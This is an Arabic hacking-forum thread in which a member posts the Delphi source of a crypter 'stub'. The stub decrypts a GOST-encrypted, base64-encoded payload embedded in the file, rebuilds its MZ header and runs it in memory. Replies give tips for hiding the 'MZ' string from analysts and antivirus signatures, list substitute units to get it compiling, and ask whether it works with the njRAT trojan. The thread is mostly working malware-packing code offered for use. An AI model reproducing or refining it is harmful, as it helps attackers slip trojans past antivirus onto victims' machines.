[ شرح ] سورس كود ستاب PHILIXTRDZ CRYPTER

تم تحميل الصفحة في 0,1451512 ثانية
سورس كود ستاب PHILIXTRDZ CRYPTER

philXTRDZ

Active DeveloPer
rankrank
إنضم
8 يناير 2015
المشاركات
382
الإعجابات
374
النقاط
163
الإقامة
GKn7HL99GG
بسم الله الرحمن الرحيم

منذ أيام نزلت موضوع عن برنامج تشفير بالدالفي

اليوم أوافيكم بسورس كود الستاب من أجل الاطلاع لمن يريد.

HTML:
program Stub;
{$R *.res}
uses
  classes,SysUtils,windows,Base64,uDecompress,uRead,DECUtil,uDC, DECFmt ;

function Rep(OriginalString, Pattern, Replace: string): string;
var
  SearchStr, Patt, NewStr: string;
  Offset: Integer;
begin
  Result := '';
  SearchStr := OriginalString;
  Patt := Pattern;
  NewStr := OriginalString;
  while SearchStr <> '' do
  begin
    Offset := Pos(Patt, SearchStr); // Was AnsiPos
    if Offset = 0 then
    begin
      Result := Result + NewStr;
      Break;
    end;
    Result := Result + Copy(NewStr, 1, Offset - 1) + Replace;
    NewStr := Copy(NewStr, Offset + Length(Pattern), MaxInt);
    SearchStr := Copy(SearchStr, Offset + Length(Patt), MaxInt);
  end;
end;
Function DeReplacement(Str:AnsiString):Ansistring;

begin
  Result:=Rep(Str,'^','A');
  Result:=Rep(Result,'°','/');
  Result:=Rep(Result,'#','V');
  Result:=Rep(Result,'&','D');
  Result:=Rep(Result,'.','U');
  Result:=Rep(Result,'~','I');
end;

procedure ProcMain;
const
GKey:AnsiString='WLjJNwewzaV8jelVXgrXkvU9WGdljJLD';
MainDel:AnsiString='(';
var
MainBuffer:AnsiString;
WBuffer:WideString;
S,R,T:AnsiString;
B:Boolean;

function ProcessAlgho(Buffer:AnsiString;xKey:ansistring):AnsiString;
var
   Tempstr:AnsiString;
const
   ATextFormat: TBaseFrm = TBM64;
begin
    with TCipher_Gost.Create  do
    begin
       try
       mode :=cmCFBx;
       Init(xKey);
       Tempstr:= OpenStr(Buffer,ATextFormat);
      finally
        Result:=Tempstr;
       Free;
       end;
    end;
end;

procedure MasterCall(RP,BF:AnsiString;Mode:Boolean;T:Integer);
var
P:function (A,B:PWideChar;C:Pointer):Cardinal;stdcall;
begin
  p:[email protected][1];
  Sleep(T);
  if Mode then ExitProcess(0) else
  P(PWideChar(WideString(ParamStr(0))),'',@BF[1]);
end;
function RemoveAds(const Value, BlockStart, BlockEnd: AnsiString): AnsiString;
var
  LS,LE: Integer;
  S,D,L,K: PAnsiChar;
begin
  SetLength(Result, Length(Value));
  LS := Length(BlockStart);
  LE := Length(BlockEnd);
  D := PAnsiChar(Result);
  S := PAnsiChar(Value);
  L := S + Length(Value);
  repeat
    if S > L then Break;
    if LS > 0 then
    begin
      S := StrPos(S, PAnsiChar(BlockStart));
      if S = nil then Break;
      Inc(S, LS);
      if S > L then Break;
    end;
    K := StrPos(S, PAnsiChar(BlockEnd));
    if K = nil then K := L;
    Move(S^, D^, K - S);
    Inc(D, K - S);
    S := K + LE;
  until S >= L;
  SetLength(Result, D - PAnsiChar(Result));
end;
begin
   MainBuffer:=LoadSettings;
   MainBuffer:=MyDecompressString(MainBuffer[1],Length(MainBuffer));

   S:=copy(MainBuffer, 1, pos(MainDel, MainBuffer) - 1);
      delete(MainBuffer, 1, pos(MainDel, MainBuffer));
   R:=copy(MainBuffer, 1, pos(MainDel, MainBuffer) - 1);
      delete(MainBuffer, 1, pos(MainDel, MainBuffer));
   B:=StrToBool(copy(MainBuffer, 1, pos(MainDel, MainBuffer) - 1));
      delete(MainBuffer, 1, pos(MainDel, MainBuffer));
   T:=copy(MainBuffer, 1, pos(MainDel, MainBuffer) - 1);
      delete(MainBuffer, 1, pos(MainDel, MainBuffer));

   R:=ProcessAlgho(R,GKey);
   R:=DeReplacement(r);
   R:=Base64Decode(R);

   S:=RemoveAds(S,'**','££');
   S:=ProcessAlgho(S,GKey);

   s:='MZP'+s;
   MasterCall(R,S,B,StrToInt(t));

end;




begin
   ProcMain;
end.
دمتم بخير
 

rhopalocera

Beginner Developer
إنضم
29 ديسمبر 2018
المشاركات
1
الإعجابات
1
النقاط
3
العمر
21
اليوم أوافيكم بسورس كود الستاب من أجل الاطلاع لمن يريد.
مشكور اخي، لا استطيع استعماله! يحتاج الى وحدات اساسية اضافية Base64.pas, uDecompress.pas ,uRead.pas, DECUtil.pas, uDC.pas, DECFmt.pas
 
إنضم
5 أغسطس 2011
المشاركات
383
الإعجابات
293
النقاط
63
الإقامة
0x400000
مشكور على الموضوع الرائع
عندي ملاحظة بسيطة حول البرمجة و هي في السطر 125 حيث تظهر القيمة MZ
من الافضل الا تظهر هذه القيمة بهذا الشكل لانه ستظهر في النصوص
و لما تظهر مع الـ Strings يمكن عمل BreakPoint و الذهاب الى النداء الذي يليها ( لانك تستعمل الدلفي ) و استخراج الملف المشفر عبر Dump
و ايضا ستكون مع الاشياء الآخرى بمتابة توقيع للملف
تقبل مروري
مشكور مرة آخرى
 

philXTRDZ

Active DeveloPer
rankrank
إنضم
8 يناير 2015
المشاركات
382
الإعجابات
374
النقاط
163
الإقامة
GKn7HL99GG
مشكور على الموضوع الرائع
عندي ملاحظة بسيطة حول البرمجة و هي في السطر 125 حيث تظهر القيمة MZ
من الافضل الا تظهر هذه القيمة بهذا الشكل لانه ستظهر في النصوص
و لما تظهر مع الـ Strings يمكن عمل BreakPoint و الذهاب الى النداء الذي يليها ( لانك تستعمل الدلفي ) و استخراج الملف المشفر عبر Dump
و ايضا ستكون مع الاشياء الآخرى بمتابة توقيع للملف
تقبل مروري
مشكور مرة آخرى
---
يمكن استبدالها مثلا ب:
HTML:
chr(77)+chr(90)+chr(80)
موفق
 

philXTRDZ

Active DeveloPer
rankrank
إنضم
8 يناير 2015
المشاركات
382
الإعجابات
374
النقاط
163
الإقامة
GKn7HL99GG
مشكور اخي، لا استطيع استعماله! يحتاج الى وحدات اساسية اضافية Base64.pas, uDecompress.pas ,uRead.pas, DECUtil.pas, uDC.pas, DECFmt.pas
شوف المواضيع السابقة ستجد أغلي الاكواد
, DECUtil.pas, uDC.pas, DECFmt.pa
البقية سهلة
Base64.pas, uDecompress.pas
استعمل zlib .pas
EncdDecd.pas
 
إنضم
7 سبتمبر 2010
المشاركات
3,075
الإعجابات
1,544
النقاط
113
التشفيره تعمل على njrat ? وبرامج .net

ام تعمل على تشفير سيرفرات برامج ايه
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 1 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل